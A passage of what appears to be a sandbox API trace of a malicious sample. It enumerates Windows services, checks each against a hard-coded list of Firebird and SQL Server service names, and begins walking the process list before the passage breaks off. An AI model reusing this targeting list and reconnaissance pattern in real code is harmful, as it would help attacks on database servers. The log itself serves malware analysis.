[0276.694] CloseServiceHandle (hSCObject=0x69a220) returned 1 [0276.699] lstrlenW (lpString="Appinfo") returned 7 [0276.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0276.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0276.699] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0276.699] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0276.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0276.699] lstrlenW (lpString="AppXSvc") returned 7 [0276.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0276.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0276.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0276.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0276.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0276.699] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0276.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0276.699] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0276.699] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0276.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0276.699] lstrlenW (lpString="Audiosrv") returned 8 [0276.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0276.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0276.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0276.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0276.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0276.700] lstrlenW (lpString="BFE") returned 3 [0276.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0276.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0276.700] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0276.700] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0276.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0276.700] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0276.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0276.700] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0276.700] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0276.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0276.700] lstrlenW (lpString="CDPSvc") returned 6 [0276.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0276.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0276.700] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0276.700] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0276.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0276.700] lstrlenW (lpString="ClickToRunSvc") returned 13 [0276.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0276.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0276.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0276.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0276.701] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0276.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0276.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0276.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0276.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0276.701] lstrlenW (lpString="CryptSvc") returned 8 [0276.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0276.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0276.701] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0276.701] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0276.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0276.701] lstrlenW (lpString="DcomLaunch") returned 10 [0276.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0276.701] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0276.701] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0276.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0276.701] lstrlenW (lpString="DeviceAssociationService") returned 24 [0276.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0276.702] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0276.702] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0276.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0276.813] lstrlenW (lpString="Dhcp") returned 4 [0276.813] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0276.813] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0276.813] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0276.813] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0276.813] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0276.814] lstrlenW (lpString="Dnscache") returned 8 [0276.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0276.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0276.814] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0276.814] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0276.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0276.814] lstrlenW (lpString="DPS") returned 3 [0276.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0276.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0276.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0276.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0276.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0276.814] lstrlenW (lpString="DusmSvc") returned 7 [0276.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0276.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0276.814] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0276.814] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0276.814] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0276.814] lstrlenW (lpString="EventLog") returned 8 [0276.814] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0276.814] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0276.814] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0276.814] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0276.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0276.815] lstrlenW (lpString="EventSystem") returned 11 [0276.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0276.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0276.815] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0276.815] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0276.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0276.815] lstrlenW (lpString="FontCache") returned 9 [0276.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0276.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0276.815] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0276.815] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0276.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0276.815] lstrlenW (lpString="gpsvc") returned 5 [0276.815] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0276.815] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0276.815] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0276.815] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0276.815] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0276.815] lstrlenW (lpString="iphlpsvc") returned 8 [0276.816] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0276.823] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0276.823] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0276.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0276.823] lstrlenW (lpString="KeyIso") returned 6 [0276.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0276.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0276.823] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0276.823] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0276.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0276.823] lstrlenW (lpString="LanmanServer") returned 12 [0276.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0276.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0276.823] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0276.823] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0276.823] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0276.823] lstrlenW (lpString="LanmanWorkstation") returned 17 [0276.823] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.823] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0276.824] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0276.824] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0276.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0276.824] lstrlenW (lpString="lfsvc") returned 5 [0276.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0276.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0276.824] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0276.824] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0276.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0276.824] lstrlenW (lpString="lmhosts") returned 7 [0276.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0276.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0276.824] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0276.824] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0276.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0276.824] lstrlenW (lpString="LSM") returned 3 [0276.824] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0276.824] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0276.824] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0276.824] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0276.824] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0276.824] lstrlenW (lpString="MpsSvc") returned 6 [0276.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0276.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0276.825] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0276.825] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0276.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0276.825] lstrlenW (lpString="NcbService") returned 10 [0276.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0276.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0276.825] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0276.825] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0276.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0276.825] lstrlenW (lpString="netprofm") returned 8 [0276.825] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0276.825] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0276.825] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0276.825] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0276.825] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0276.825] lstrlenW (lpString="NgcSvc") returned 6 [0276.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0276.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0276.826] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0276.826] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0276.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0276.826] lstrlenW (lpString="NlaSvc") returned 6 [0276.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0276.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0276.826] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0276.826] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0276.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0276.826] lstrlenW (lpString="nsi") returned 3 [0276.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0276.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0276.826] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0276.826] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0276.826] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0276.826] lstrlenW (lpString="PcaSvc") returned 6 [0276.826] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0276.826] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0276.826] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0276.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0276.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0276.827] lstrlenW (lpString="PlugPlay") returned 8 [0276.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0276.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0276.827] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0276.827] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0276.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0276.827] lstrlenW (lpString="Power") returned 5 [0276.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0276.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0276.827] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0276.827] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0276.827] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0276.827] lstrlenW (lpString="ProfSvc") returned 7 [0276.827] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0276.827] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0276.828] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0276.828] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0276.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0276.828] lstrlenW (lpString="RpcEptMapper") returned 12 [0276.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0276.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0276.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0276.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0276.828] lstrlenW (lpString="RpcSs") returned 5 [0276.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0276.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0276.828] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0276.828] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0276.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0276.828] lstrlenW (lpString="SamSs") returned 5 [0276.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0276.828] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0276.828] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0276.828] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0276.828] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0276.828] lstrlenW (lpString="Schedule") returned 8 [0276.828] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0276.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0276.829] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0276.829] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0276.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0276.829] lstrlenW (lpString="SecurityHealthService") returned 21 [0276.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0276.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0276.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0276.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0276.829] lstrlenW (lpString="SENS") returned 4 [0276.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0276.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0276.829] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0276.829] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0276.829] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0276.829] lstrlenW (lpString="ShellHWDetection") returned 16 [0276.829] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.829] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0276.829] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0276.829] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0276.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0276.830] lstrlenW (lpString="Spooler") returned 7 [0276.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0276.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0276.830] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0276.830] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0276.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0276.830] lstrlenW (lpString="StateRepository") returned 15 [0276.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0276.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0276.830] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0276.830] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0276.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0276.830] lstrlenW (lpString="SysMain") returned 7 [0276.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0276.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0276.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0276.830] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0276.830] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0276.830] lstrlenW (lpString="SystemEventsBroker") returned 18 [0276.830] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.830] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0276.830] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0276.831] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0276.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0276.831] lstrlenW (lpString="Themes") returned 6 [0276.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0276.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0276.831] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0276.831] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0276.831] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0276.831] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0276.831] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0276.831] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0276.831] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0276.831] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0276.832] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x45bb450 | out: hHeap=0x640000) returned 1 [0276.832] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x554 [0276.841] Process32FirstW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.842] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6a, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.843] lstrlenW (lpString="System") returned 6 [0276.844] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.845] lstrlenW (lpString="smss.exe") returned 8 [0276.845] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.848] lstrlenW (lpString="csrss.exe") returned 9 [0276.848] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.849] lstrlenW (lpString="wininit.exe") returned 11 [0276.851] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.852] lstrlenW (lpString="csrss.exe") returned 9 [0276.853] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.853] lstrlenW (lpString="winlogon.exe") returned 12 [0276.853] Process32NextW (in: hSnapshot=0x554, lppe=0x251fd2c | out: 